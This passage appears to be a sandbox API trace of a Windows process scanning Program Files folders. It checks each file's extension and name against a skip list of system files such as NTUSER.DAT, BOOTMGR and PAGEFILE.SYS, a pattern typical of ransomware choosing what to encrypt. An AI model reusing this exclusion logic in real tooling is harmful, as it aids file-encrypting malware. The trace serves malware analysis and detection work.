lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.633] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0029.633] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.637] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.637] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0029.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba00 [0029.641] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.641] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="INFORMIX.XSL", cchCount2=12) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="INFORMIX.XSL", cchCount2=12) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="INFORMIX.XSL", cchCount2=12) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="INFORMIX.XSL", cchCount2=12) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="INFORMIX.XSL", cchCount2=12) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0029.644] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0029.644] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0029.644] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0029.645] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0029.645] FindClose (in: hFindFile=0x70ba00 | out: hFindFile=0x70ba00) returned 1 [0029.645] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0029.645] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0029.645] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0029.645] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0029.645] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", 